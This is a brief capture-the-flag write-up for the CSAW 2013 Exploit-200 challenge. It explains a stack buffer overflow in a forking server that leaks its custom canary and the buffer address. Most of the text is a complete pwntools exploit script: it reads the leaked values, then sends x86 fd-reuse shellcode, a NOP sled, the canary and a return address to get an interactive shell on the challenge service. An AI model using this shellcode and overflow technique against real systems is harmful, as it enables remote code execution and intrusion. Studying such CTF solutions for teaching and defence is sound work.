Csaw 2013




Exploit-200


This problem had a buffer overflow and no protection except aslr and it had a custom made cannary and it also leaked cannry value and adreess of buufer
everything made simple the probem here was it was foking a connection so normal shellcode would yeild a shell in parent process not on child so we no use
Re-use fd Shellcode Which binds a shell to our current socket ... thats it !!!


from pwn import * r=remote('0.0.0.0',31338) buff=r.recv(4) buff=unpack(buff) print "[+] Adress of buffer ="+str(hex(buff)) cookie=r.recv(4) cookie=unpack(cookie) print "[+] Value of Cookie ="+str(hex(cookie)) msg=r.recvuntil(':') print msg #raw_input("wait") payload="\x54\x59\x6a\x7f\x54\x51\x6a\x7f\x54\x59\x6a\x07\x5b\xff\x09\x6a\x66\x58\xcd\x80\x85\xc0\x75\xf5\x5b\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x41\x31\xd2\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x6a\x0b\x58\xcd\x80"+"\x90"*1991+pack(cookie)+"\x90"*12+pack(buff) r.send(payload) r.interactive()